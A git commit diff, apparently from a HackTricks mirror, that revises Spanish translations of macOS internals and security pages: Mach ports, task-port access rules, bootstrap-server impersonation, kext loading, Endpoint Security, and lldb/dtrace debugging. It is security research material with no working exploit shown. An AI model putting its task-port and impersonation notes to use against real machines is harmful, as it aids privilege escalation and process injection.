mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
156821c639
commit
2f2432e55e
@ -27,13 +27,13 @@ El **núcleo** XNU también **incorpora** una cantidad significativa de código
|
||||
- Pila TCP/IP y sockets
|
||||
- Cortafuegos y filtrado de paquetes
|
||||
|
||||
Entender la interacción entre BSD y Mach puede ser complejo, debido a sus diferentes marcos conceptuales. Por ejemplo, BSD utiliza procesos como su unidad fundamental de ejecución, mientras que Mach opera en función de hilos. Esta discrepancia se reconcilia en XNU **asociando cada proceso BSD con una tarea Mach** que contiene exactamente un hilo Mach. Cuando se utiliza la llamada al sistema fork() de BSD, el código de BSD dentro del núcleo utiliza funciones de Mach para crear una tarea y una estructura de hilo.
|
||||
Entender la interacción entre BSD y Mach puede ser complejo, debido a sus diferentes marcos conceptuales. Por ejemplo, BSD utiliza procesos como su unidad fundamental de ejecución, mientras que Mach opera en función de hilos. Esta discrepancia se reconcilia en XNU **asociando cada proceso BSD con una tarea Mach** que contiene exactamente un hilo Mach. Cuando se utiliza la llamada al sistema fork() de BSD, el código BSD dentro del núcleo utiliza funciones Mach para crear una tarea y una estructura de hilo.
|
||||
|
||||
Además, **Mach y BSD mantienen cada uno diferentes modelos de seguridad**: el modelo de seguridad de **Mach** se basa en **derechos de puerto**, mientras que el modelo de seguridad de BSD opera en función de **la propiedad del proceso**. Las disparidades entre estos dos modelos han resultado ocasionalmente en vulnerabilidades de escalada de privilegios locales. Aparte de las llamadas al sistema típicas, también hay **trampas de Mach que permiten a los programas en espacio de usuario interactuar con el núcleo**. Estos diferentes elementos juntos forman la arquitectura híbrida y multifacética del núcleo de macOS.
|
||||
Además, **Mach y BSD mantienen diferentes modelos de seguridad**: el modelo de seguridad de **Mach** se basa en **derechos de puerto**, mientras que el modelo de seguridad de BSD opera en función de **la propiedad del proceso**. Las disparidades entre estos dos modelos han resultado ocasionalmente en vulnerabilidades de escalada de privilegios locales. Aparte de las llamadas al sistema típicas, también hay **trampas Mach que permiten a los programas en espacio de usuario interactuar con el núcleo**. Estos diferentes elementos juntos forman la arquitectura híbrida y multifacética del núcleo de macOS.
|
||||
|
||||
### I/O Kit - Controladores
|
||||
|
||||
El I/O Kit es un marco de **controladores de dispositivos** de código abierto y orientado a objetos en el núcleo XNU, que maneja **controladores de dispositivos cargados dinámicamente**. Permite que se agregue código modular al núcleo sobre la marcha, soportando hardware diverso.
|
||||
El I/O Kit es un marco de **controladores de dispositivos** orientado a objetos y de código abierto en el núcleo XNU, que maneja **controladores de dispositivos cargados dinámicamente**. Permite que se agregue código modular al núcleo sobre la marcha, soportando hardware diverso.
|
||||
|
||||
{{#ref}}
|
||||
macos-iokit.md
|
||||
|
||||
@ -26,11 +26,11 @@ Los derechos de puerto, que definen qué operaciones puede realizar una tarea, s
|
||||
- **Derecho de conjunto de puertos**, que denota un _conjunto de puertos_ en lugar de un solo puerto. Desencolar un mensaje de un conjunto de puertos desencola un mensaje de uno de los puertos que contiene. Los conjuntos de puertos se pueden usar para escuchar en varios puertos simultáneamente, muy parecido a `select`/`poll`/`epoll`/`kqueue` en Unix.
|
||||
- **Nombre muerto**, que no es un derecho de puerto real, sino simplemente un marcador de posición. Cuando un puerto es destruido, todos los derechos de puerto existentes al puerto se convierten en nombres muertos.
|
||||
|
||||
**Las tareas pueden transferir derechos de ENVÍO a otras**, permitiéndoles enviar mensajes de vuelta. **Los derechos de ENVÍO también pueden ser clonados, por lo que una tarea puede duplicar y dar el derecho a una tercera tarea**. Esto, combinado con un proceso intermediario conocido como el **servidor de arranque**, permite una comunicación efectiva entre tareas.
|
||||
**Las tareas pueden transferir derechos de ENVÍO a otros**, permitiéndoles enviar mensajes de vuelta. **Los derechos de ENVÍO también pueden ser clonados, por lo que una tarea puede duplicar y dar el derecho a una tercera tarea**. Esto, combinado con un proceso intermediario conocido como el **servidor de arranque**, permite una comunicación efectiva entre tareas.
|
||||
|
||||
### Puertos de Archivo
|
||||
|
||||
Los puertos de archivo permiten encapsular descriptores de archivo en puertos Mac (utilizando derechos de puerto Mach). Es posible crear un `fileport` a partir de un FD dado usando `fileport_makeport` y crear un FD a partir de un fileport usando `fileport_makefd`.
|
||||
Los puertos de archivo permiten encapsular descriptores de archivo en puertos Mac (utilizando derechos de puerto Mach). Es posible crear un `fileport` a partir de un FD dado utilizando `fileport_makeport` y crear un FD a partir de un fileport utilizando `fileport_makefd`.
|
||||
|
||||
### Estableciendo una comunicación
|
||||
|
||||
@ -41,11 +41,11 @@ Como se menciona, para establecer el canal de comunicación, el **servidor de ar
|
||||
1. La tarea **A** inicia un **nuevo puerto**, obteniendo un **derecho de RECEPCIÓN** en el proceso.
|
||||
2. La tarea **A**, siendo la titular del derecho de RECEPCIÓN, **genera un derecho de ENVÍO para el puerto**.
|
||||
3. La tarea **A** establece una **conexión** con el **servidor de arranque**, proporcionando el **nombre del servicio del puerto** y el **derecho de ENVÍO** a través de un procedimiento conocido como el registro de arranque.
|
||||
4. La tarea **B** interactúa con el **servidor de arranque** para ejecutar una búsqueda de arranque **para el nombre del servicio**. Si tiene éxito, el **servidor duplica el DERECHO DE ENVÍO** recibido de la Tarea A y **lo transmite a la Tarea B**.
|
||||
5. Al adquirir un DERECHO DE ENVÍO, la Tarea **B** es capaz de **formular** un **mensaje** y enviarlo **a la Tarea A**.
|
||||
6. Para una comunicación bidireccional, generalmente la tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la Tarea A** para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
|
||||
4. La tarea **B** interactúa con el **servidor de arranque** para ejecutar una búsqueda de arranque **para el nombre del servicio**. Si tiene éxito, el **servidor duplica el DERECHO DE ENVÍO** recibido de la tarea A y **lo transmite a la tarea B**.
|
||||
5. Al adquirir un derecho de ENVÍO, la tarea **B** es capaz de **formular** un **mensaje** y enviarlo **a la tarea A**.
|
||||
6. Para una comunicación bidireccional, generalmente la tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la tarea A** para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
|
||||
|
||||
El servidor de arranque **no puede autenticar** el nombre del servicio reclamado por una tarea. Esto significa que una **tarea** podría potencialmente **suplantar cualquier tarea del sistema**, como falsamente **reclamando un nombre de servicio de autorización** y luego aprobando cada solicitud.
|
||||
El servidor de arranque **no puede autenticar** el nombre del servicio reclamado por una tarea. Esto significa que una **tarea** podría potencialmente **suplantar cualquier tarea del sistema**, como falsamente **reclamar un nombre de servicio de autorización** y luego aprobar cada solicitud.
|
||||
|
||||
Luego, Apple almacena los **nombres de los servicios proporcionados por el sistema** en archivos de configuración seguros, ubicados en directorios **protegidos por SIP**: `/System/Library/LaunchDaemons` y `/System/Library/LaunchAgents`. Junto a cada nombre de servicio, también se **almacena el binario asociado**. El servidor de arranque creará y mantendrá un **DERECHO DE RECEPCIÓN para cada uno de estos nombres de servicio**.
|
||||
|
||||
@ -53,9 +53,9 @@ Para estos servicios predefinidos, el **proceso de búsqueda difiere ligeramente
|
||||
|
||||
- La tarea **B** inicia una búsqueda de arranque **para un nombre de servicio**.
|
||||
- **launchd** verifica si la tarea está en ejecución y, si no lo está, **la inicia**.
|
||||
- La tarea **A** (el servicio) realiza un **check-in de arranque**. Aquí, el **servidor de arranque** crea un derecho de ENVÍO, lo retiene y **transfiere el derecho de RECEPCIÓN a la Tarea A**.
|
||||
- launchd duplica el **DERECHO DE ENVÍO y lo envía a la Tarea B**.
|
||||
- La tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la Tarea A** (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
|
||||
- La tarea **A** (el servicio) realiza un **registro de arranque**. Aquí, el **servidor de arranque** crea un derecho de ENVÍO, lo retiene y **transfiere el derecho de RECEPCIÓN a la tarea A**.
|
||||
- launchd duplica el **DERECHO DE ENVÍO y lo envía a la tarea B**.
|
||||
- La tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la tarea A** (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
|
||||
|
||||
Sin embargo, este proceso solo se aplica a tareas del sistema predefinidas. Las tareas no del sistema aún operan como se describió originalmente, lo que podría permitir potencialmente la suplantación.
|
||||
|
||||
@ -76,7 +76,7 @@ mach_msg_id_t msgh_id;
|
||||
```
|
||||
Los procesos que poseen un _**derecho de recepción**_ pueden recibir mensajes en un puerto Mach. Por el contrario, a los **remitentes** se les concede un _**derecho de envío**_ o un _**derecho de envío-una-vez**_. El derecho de envío-una-vez es exclusivamente para enviar un solo mensaje, después del cual se vuelve inválido.
|
||||
|
||||
Para lograr una **comunicación bidireccional** fácil, un proceso puede especificar un **puerto mach** en el **encabezado del mensaje** mach llamado el _puerto de respuesta_ (**`msgh_local_port`**) donde el **receptor** del mensaje puede **enviar una respuesta** a este mensaje. Las banderas de bits en **`msgh_bits`** se pueden usar para **indicar** que un **derecho de envío-una-vez** debe ser derivado y transferido para este puerto (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
Para lograr una **comunicación bidireccional** fácil, un proceso puede especificar un **puerto mach** en el **encabezado del mensaje** mach llamado el _puerto de respuesta_ (**`msgh_local_port`**) donde el **receptor** del mensaje puede **enviar una respuesta** a este mensaje. Los bits en **`msgh_bits`** se pueden usar para **indicar** que un **derecho de envío-una-vez** debe ser derivado y transferido para este puerto (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
> [!TIP]
|
||||
> Tenga en cuenta que este tipo de comunicación bidireccional se utiliza en mensajes XPC que esperan una respuesta (`xpc_connection_send_message_with_reply` y `xpc_connection_send_message_with_reply_sync`). Pero **generalmente se crean diferentes puertos** como se explicó anteriormente para crear la comunicación bidireccional.
|
||||
@ -234,9 +234,9 @@ printf("Sent a message\n");
|
||||
- **Puerto de tarea** (también conocido como puerto del kernel)**:** Con permiso de Enviar sobre este puerto es posible controlar la tarea (leer/escribir memoria, crear hilos...).
|
||||
- Llama a `mach_task_self()` para **obtener el nombre** de este puerto para la tarea que llama. Este puerto solo se **hereda** a través de **`exec()`**; una nueva tarea creada con `fork()` obtiene un nuevo puerto de tarea (como un caso especial, una tarea también obtiene un nuevo puerto de tarea después de `exec()` en un binario suid). La única forma de generar una tarea y obtener su puerto es realizar el ["baile de intercambio de puertos"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) mientras se realiza un `fork()`.
|
||||
- Estas son las restricciones para acceder al puerto (de `macos_task_policy` del binario `AppleMobileFileIntegrity`):
|
||||
- Si la aplicación tiene el **derecho `com.apple.security.get-task-allow`**, los procesos del **mismo usuario pueden acceder al puerto de tarea** (comúnmente agregado por Xcode para depuración). El proceso de **notarización** no lo permitirá en lanzamientos de producción.
|
||||
- Si la aplicación tiene el derecho **`com.apple.security.get-task-allow`**, los procesos del **mismo usuario pueden acceder al puerto de tarea** (comúnmente agregado por Xcode para depuración). El proceso de **notarización** no lo permitirá en lanzamientos de producción.
|
||||
- Las aplicaciones con el derecho **`com.apple.system-task-ports`** pueden obtener el **puerto de tarea para cualquier** proceso, excepto el kernel. En versiones anteriores se llamaba **`task_for_pid-allow`**. Esto solo se concede a aplicaciones de Apple.
|
||||
- **Root puede acceder a los puertos de tarea** de aplicaciones **no** compiladas con un **runtime** **endurecido** (y no de Apple).
|
||||
- **Root puede acceder a los puertos de tarea** de aplicaciones **no** compiladas con un tiempo de ejecución **endurecido** (y no de Apple).
|
||||
|
||||
### Inyección de Shellcode en hilo a través del Puerto de Tarea
|
||||
|
||||
|
||||
@ -17,17 +17,17 @@ Obviamente, esto es tan poderoso que es **complicado cargar una extensión del k
|
||||
- La extensión del kernel debe estar **firmada con un certificado de firma de código del kernel**, que solo puede ser **otorgado por Apple**. Quien revisará en detalle la empresa y las razones por las que se necesita.
|
||||
- La extensión del kernel también debe estar **notarizada**, Apple podrá verificarla en busca de malware.
|
||||
- Luego, el usuario **root** es quien puede **cargar la extensión del kernel** y los archivos dentro del paquete deben **pertenecer a root**.
|
||||
- Durante el proceso de carga, el paquete debe estar preparado en una **ubicación protegida no root**: `/Library/StagedExtensions` (requiere el permiso `com.apple.rootless.storage.KernelExtensionManagement`).
|
||||
- Finalmente, al intentar cargarla, el usuario [**recibirá una solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) y, si se acepta, la computadora debe ser **reiniciada** para cargarla.
|
||||
- Durante el proceso de carga, el paquete debe estar preparado en una **ubicación protegida no root**: `/Library/StagedExtensions` (requiere el otorgamiento `com.apple.rootless.storage.KernelExtensionManagement`).
|
||||
- Finalmente, al intentar cargarlo, el usuario [**recibirá una solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) y, si se acepta, la computadora debe ser **reiniciada** para cargarlo.
|
||||
|
||||
### Proceso de carga
|
||||
### Proceso de Carga
|
||||
|
||||
En Catalina fue así: Es interesante notar que el proceso de **verificación** ocurre en **userland**. Sin embargo, solo las aplicaciones con el permiso **`com.apple.private.security.kext-management`** pueden **solicitar al kernel que cargue una extensión**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
En Catalina fue así: Es interesante notar que el proceso de **verificación** ocurre en **userland**. Sin embargo, solo las aplicaciones con el otorgamiento **`com.apple.private.security.kext-management`** pueden **solicitar al kernel que cargue una extensión**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli **inicia** el proceso de **verificación** para cargar una extensión
|
||||
- Se comunicará con **`kextd`** enviando usando un **servicio Mach**.
|
||||
- Hablará con **`kextd`** enviando usando un **servicio Mach**.
|
||||
2. **`kextd`** verificará varias cosas, como la **firma**
|
||||
- Se comunicará con **`syspolicyd`** para **verificar** si la extensión puede ser **cargada**.
|
||||
- Hablará con **`syspolicyd`** para **comprobar** si la extensión puede ser **cargada**.
|
||||
3. **`syspolicyd`** **preguntará** al **usuario** si la extensión no ha sido cargada previamente.
|
||||
- **`syspolicyd`** informará el resultado a **`kextd`**
|
||||
4. **`kextd`** finalmente podrá **decirle al kernel que cargue** la extensión
|
||||
@ -58,7 +58,7 @@ En mi caso en macOS lo encontré en:
|
||||
|
||||
#### IMG4
|
||||
|
||||
El formato de archivo IMG4 es un formato contenedor utilizado por Apple en sus dispositivos iOS y macOS para **almacenar y verificar de manera segura** componentes de firmware (como **kernelcache**). El formato IMG4 incluye un encabezado y varias etiquetas que encapsulan diferentes piezas de datos, incluyendo la carga útil real (como un kernel o cargador de arranque), una firma y un conjunto de propiedades de manifiesto. El formato admite verificación criptográfica, permitiendo que el dispositivo confirme la autenticidad e integridad del componente de firmware antes de ejecutarlo.
|
||||
El formato de archivo IMG4 es un formato contenedor utilizado por Apple en sus dispositivos iOS y macOS para **almacenar y verificar de manera segura** componentes de firmware (como **kernelcache**). El formato IMG4 incluye un encabezado y varias etiquetas que encapsulan diferentes piezas de datos, incluyendo la carga útil real (como un kernel o bootloader), una firma y un conjunto de propiedades de manifiesto. El formato admite verificación criptográfica, permitiendo que el dispositivo confirme la autenticidad e integridad del componente de firmware antes de ejecutarlo.
|
||||
|
||||
Generalmente está compuesto por los siguientes componentes:
|
||||
|
||||
|
||||
@ -18,11 +18,11 @@ DriverKit es un reemplazo para las kernel extensions que **proporcionan soporte
|
||||
|
||||
Las Network Extensions proporcionan la capacidad de personalizar comportamientos de red. Hay varios tipos de Network Extensions:
|
||||
|
||||
- **App Proxy**: Esto se utiliza para crear un cliente VPN que implementa un protocolo VPN personalizado orientado a flujos. Esto significa que maneja el tráfico de red basado en conexiones (o flujos) en lugar de paquetes individuales.
|
||||
- **Packet Tunnel**: Esto se utiliza para crear un cliente VPN que implementa un protocolo VPN personalizado orientado a paquetes. Esto significa que maneja el tráfico de red basado en paquetes individuales.
|
||||
- **Filter Data**: Esto se utiliza para filtrar "flujos" de red. Puede monitorear o modificar datos de red a nivel de flujo.
|
||||
- **Filter Packet**: Esto se utiliza para filtrar paquetes individuales de red. Puede monitorear o modificar datos de red a nivel de paquete.
|
||||
- **DNS Proxy**: Esto se utiliza para crear un proveedor DNS personalizado. Puede usarse para monitorear o modificar solicitudes y respuestas DNS.
|
||||
- **App Proxy**: Se utiliza para crear un cliente VPN que implementa un protocolo VPN personalizado orientado a flujos. Esto significa que maneja el tráfico de red basado en conexiones (o flujos) en lugar de paquetes individuales.
|
||||
- **Packet Tunnel**: Se utiliza para crear un cliente VPN que implementa un protocolo VPN personalizado orientado a paquetes. Esto significa que maneja el tráfico de red basado en paquetes individuales.
|
||||
- **Filter Data**: Se utiliza para filtrar "flujos" de red. Puede monitorear o modificar datos de red a nivel de flujo.
|
||||
- **Filter Packet**: Se utiliza para filtrar paquetes individuales de red. Puede monitorear o modificar datos de red a nivel de paquete.
|
||||
- **DNS Proxy**: Se utiliza para crear un proveedor DNS personalizado. Puede usarse para monitorear o modificar solicitudes y respuestas DNS.
|
||||
|
||||
## Endpoint Security Framework
|
||||
|
||||
@ -32,16 +32,16 @@ Este marco proporciona una **colección de APIs para monitorear y controlar la a
|
||||
|
||||
El núcleo de este marco está implementado en el kernel, como una Kernel Extension (KEXT) ubicada en **`/System/Library/Extensions/EndpointSecurity.kext`**. Este KEXT está compuesto por varios componentes clave:
|
||||
|
||||
- **EndpointSecurityDriver**: Actúa como el "punto de entrada" para la extensión del kernel. Es el principal punto de interacción entre el sistema operativo y el marco de Endpoint Security.
|
||||
- **EndpointSecurityDriver**: Actúa como el "punto de entrada" para la extensión del kernel. Es el principal punto de interacción entre el OS y el marco de Endpoint Security.
|
||||
- **EndpointSecurityEventManager**: Este componente es responsable de implementar ganchos del kernel. Los ganchos del kernel permiten que el marco monitoree eventos del sistema interceptando llamadas al sistema.
|
||||
- **EndpointSecurityClientManager**: Este gestiona la comunicación con los clientes del espacio de usuario, manteniendo un registro de qué clientes están conectados y necesitan recibir notificaciones de eventos.
|
||||
- **EndpointSecurityMessageManager**: Este envía mensajes y notificaciones de eventos a los clientes del espacio de usuario.
|
||||
|
||||
Los eventos que el marco de Endpoint Security puede monitorear se clasifican en:
|
||||
|
||||
- Eventos de archivos
|
||||
- Eventos de procesos
|
||||
- Eventos de sockets
|
||||
- Eventos de archivo
|
||||
- Eventos de proceso
|
||||
- Eventos de socket
|
||||
- Eventos del kernel (como cargar/descargar una extensión del kernel o abrir un dispositivo de I/O Kit)
|
||||
|
||||
### Arquitectura del Endpoint Security Framework
|
||||
|
||||
@ -124,7 +124,7 @@ Los parámetros que esta función espera son:
|
||||
|
||||
- El primer parámetro (**self**) es "un puntero que apunta a la **instancia de la clase que debe recibir el mensaje**". O más simplemente, es el objeto sobre el cual se invoca el método. Si el método es un método de clase, esto será una instancia del objeto de la clase (en su totalidad), mientras que para un método de instancia, self apuntará a una instancia instanciada de la clase como un objeto.
|
||||
- El segundo parámetro, (**op**), es "el selector del método que maneja el mensaje". Nuevamente, más simplemente, esto es solo el **nombre del método.**
|
||||
- Los parámetros restantes son cualquier **valor que requiera el método** (op).
|
||||
- Los parámetros restantes son cualquier **valor que sea requerido por el método** (op).
|
||||
|
||||
Vea cómo **obtener esta información fácilmente con `lldb` en ARM64** en esta página:
|
||||
|
||||
@ -137,12 +137,12 @@ x64:
|
||||
| **Argumento** | **Registro** | **(para) objc_msgSend** |
|
||||
| ----------------- | -------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **1er argumento** | **rdi** | **self: objeto sobre el cual se invoca el método** |
|
||||
| **2do argumento** | **rsi** | **op: nombre del método** |
|
||||
| **3er argumento** | **rdx** | **1er argumento al método** |
|
||||
| **4to argumento** | **rcx** | **2do argumento al método** |
|
||||
| **5to argumento** | **r8** | **3er argumento al método** |
|
||||
| **6to argumento** | **r9** | **4to argumento al método** |
|
||||
| **7mo+ argumento** | <p><strong>rsp+</strong><br><strong>(en la pila)</strong></p> | **5to+ argumento al método** |
|
||||
| **2do argumento** | **rsi** | **op: nombre del método** |
|
||||
| **3er argumento** | **rdx** | **1er argumento al método** |
|
||||
| **4to argumento** | **rcx** | **2do argumento al método** |
|
||||
| **5to argumento** | **r8** | **3er argumento al método** |
|
||||
| **6to argumento** | **r9** | **4to argumento al método** |
|
||||
| **7mo+ argumento** | <p><strong>rsp+</strong><br><strong>(en la pila)</strong></p> | **5to+ argumento al método** |
|
||||
|
||||
### Volcar metadatos de ObjectiveC
|
||||
|
||||
@ -236,7 +236,7 @@ Su plist se encuentra en `/System/Library/LaunchDaemons/com.apple.sysdiagnose.pl
|
||||
|
||||
MacOS genera muchos registros que pueden ser muy útiles al ejecutar una aplicación tratando de entender **qué está haciendo**.
|
||||
|
||||
Además, hay algunos registros que contendrán la etiqueta `<private>` para **ocultar** información **identificable** de **usuario** o **computadora**. Sin embargo, es posible **instalar un certificado para divulgar esta información**. Siga las explicaciones de [**aquí**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
Además, hay algunos registros que contendrán la etiqueta `<private>` para **ocultar** información **identificable** del **usuario** o **computadora**. Sin embargo, es posible **instalar un certificado para divulgar esta información**. Siga las explicaciones de [**aquí**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log).
|
||||
|
||||
### Hopper
|
||||
|
||||
@ -254,7 +254,7 @@ Al hacer clic derecho en un objeto de código, puede ver **referencias a/desde e
|
||||
|
||||
<figure><img src="../../../images/image (1117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Además, en la **parte inferior del medio puede escribir comandos de python**.
|
||||
Además, en la **parte media inferior puede escribir comandos de python**.
|
||||
|
||||
#### Panel derecho
|
||||
|
||||
@ -262,7 +262,7 @@ En el panel derecho puede ver información interesante como el **historial de na
|
||||
|
||||
### dtrace
|
||||
|
||||
Permite a los usuarios acceder a aplicaciones a un nivel **muy bajo** y proporciona una forma para que los usuarios **rastreen** **programas** e incluso cambien su flujo de ejecución. Dtrace utiliza **probes** que están **colocados a lo largo del kernel** y están en ubicaciones como el inicio y el final de las llamadas al sistema.
|
||||
Permite a los usuarios acceder a aplicaciones a un nivel **muy bajo** y proporciona una forma para que los usuarios **rastreen** **programas** e incluso cambien su flujo de ejecución. Dtrace utiliza **probes** que están **colocadas a lo largo del kernel** y están en ubicaciones como el inicio y el final de las llamadas al sistema.
|
||||
|
||||
DTrace utiliza la función **`dtrace_probe_create`** para crear un probe para cada llamada al sistema. Estos probes pueden activarse en el **punto de entrada y salida de cada llamada al sistema**. La interacción con DTrace ocurre a través de /dev/dtrace que solo está disponible para el usuario root.
|
||||
|
||||
@ -343,14 +343,14 @@ Es una herramienta de trazado del kernel. Los códigos documentados se pueden en
|
||||
|
||||
Herramientas como `latency`, `sc_usage`, `fs_usage` y `trace` la utilizan internamente.
|
||||
|
||||
Para interactuar con `kdebug`, se usa `sysctl` sobre el espacio de nombres `kern.kdebug` y los MIBs que se pueden usar se encuentran en `sys/sysctl.h`, teniendo las funciones implementadas en `bsd/kern/kdebug.c`.
|
||||
Para interactuar con `kdebug`, se usa `sysctl` sobre el espacio de nombres `kern.kdebug` y los MIBs que se pueden encontrar en `sys/sysctl.h`, teniendo las funciones implementadas en `bsd/kern/kdebug.c`.
|
||||
|
||||
Para interactuar con kdebug con un cliente personalizado, estos son generalmente los pasos:
|
||||
|
||||
- Eliminar configuraciones existentes con KERN_KDSETREMOVE
|
||||
- Establecer trazado con KERN_KDSETBUF y KERN_KDSETUP
|
||||
- Establecer traza con KERN_KDSETBUF y KERN_KDSETUP
|
||||
- Usar KERN_KDGETBUF para obtener el número de entradas del búfer
|
||||
- Obtener el propio cliente del trazado con KERN_KDPINDEX
|
||||
- Obtener el propio cliente de la traza con KERN_KDPINDEX
|
||||
- Habilitar el trazado con KERN_KDENABLE
|
||||
- Leer el búfer llamando a KERN_KDREADTR
|
||||
- Para emparejar cada hilo con su proceso, llamar a KERN_KDTHRMAP.
|
||||
@ -438,7 +438,51 @@ settings set target.x86-disassembly-flavor intel
|
||||
> [!WARNING]
|
||||
> Dentro de lldb, volcar un proceso con `process save-core`
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descripción</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso termine.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Iniciar la ejecución deteniéndose en el punto de entrada</td></tr><tr><td><strong>continue (c)</strong></td><td>Continuar la ejecución del proceso depurado.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Comando</strong></td><td><strong>Descripción</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Iniciar la ejecución, que continuará sin interrupciones hasta que se alcance un punto de interrupción o el proceso termine.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Iniciar la ejecución deteniéndose en el punto de entrada</td></tr><tr><td><strong>continue (c)</strong></td><td>Continuar la ejecución del proceso depurado.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Ejecutar la siguiente instrucción. Este comando omitirá las llamadas a funciones.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Ejecutar la siguiente instrucción. A diferencia del comando nexti, este comando entrará en las llamadas a funciones.</td></tr><tr><td><strong>finish (f)</strong></td><td>Ejecutar el resto de las instrucciones en la función actual (“frame”) y detenerse.</td></tr><tr><td><strong>control + c</strong></td><td>Pausar la ejecución. Si el proceso ha sido ejecutado (r) o continuado (c), esto hará que el proceso se detenga ...donde sea que esté ejecutándose actualmente.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Cualquier función llamada main</p><p><code>b <binname>`main</code> #Función principal del bin</p><p><code>b set -n main --shlib <lib_name></code> #Función principal del bin indicado</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Cualquier método de NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Romper en todas las funciones de esa biblioteca</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Lista de puntos de interrupción</p><p><code>br e/dis <num></code> #Habilitar/Deshabilitar punto de interrupción</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obtener ayuda del comando de punto de interrupción</p><p>help memory write #Obtener ayuda para escribir en la memoria</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formato</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/dirección de memoria></strong></td><td>Mostrar la memoria como una cadena terminada en nulo.</td></tr><tr><td><strong>x/i <reg/dirección de memoria></strong></td><td>Mostrar la memoria como instrucción de ensamblador.</td></tr><tr><td><strong>x/b <reg/dirección de memoria></strong></td><td>Mostrar la memoria como byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Esto imprimirá el objeto referenciado por el parámetro</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Nota que la mayoría de las APIs o métodos de Objective-C de Apple devuelven objetos, y por lo tanto deben ser mostrados a través del comando “print object” (po). Si po no produce una salida significativa, usa <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Escribir AAAA en esa dirección<br>memory write -f s $rip+0x11f+7 "AAAA" #Escribir AAAA en la dirección</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Desensamblar función actual</p><p>dis -n <funcname> #Desensamblar función</p><p>dis -n <funcname> -b <basename> #Desensamblar función<br>dis -c 6 #Desensamblar 6 líneas<br>dis -c 0x100003764 -e 0x100003768 # Desde una dirección hasta la otra<br>dis -p -c 4 # Comenzar en la dirección actual desensamblando</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Verificar array de 3 componentes en el registro x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Imprimir mapa de la memoria del proceso actual</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #Obtener la dirección de todos los símbolos de CoreNLP</td></tr></tbody></table>
|
||||
|
||||
> [!NOTE]
|
||||
> Al llamar a la función **`objc_sendMsg`**, el registro **rsi** contiene el **nombre del método** como una cadena terminada en nulo (“C”). Para imprimir el nombre a través de lldb haz:
|
||||
>
|
||||
> `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
>
|
||||
> `(lldb) print (char*)$rsi:`\
|
||||
> `(char *) $1 = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
>
|
||||
> `(lldb) reg read $rsi: rsi = 0x00000001000f1576 "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
